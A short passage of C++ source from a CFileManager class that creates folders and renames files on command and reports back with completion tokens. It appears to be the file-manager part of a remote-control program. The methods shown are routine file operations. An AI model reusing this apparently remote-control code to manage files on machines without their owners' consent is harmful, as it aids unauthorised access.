	memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
	GetFileData();
}

void CFileManager::CreateFolder(LPBYTE lpBuffer)
{
	MakeSureDirectoryPathExists((char *)lpBuffer);
	SendToken(TOKEN_CREATEFOLDER_FINISH);
}

void CFileManager::Rename(LPBYTE lpBuffer)
{
	LPCTSTR lpExistingFileName = (char *)lpBuffer;
	LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1;
	::MoveFile(lpExistingFileName, lpNewFileName);
	SendToken(TOKEN_RENAME_FINISH);
}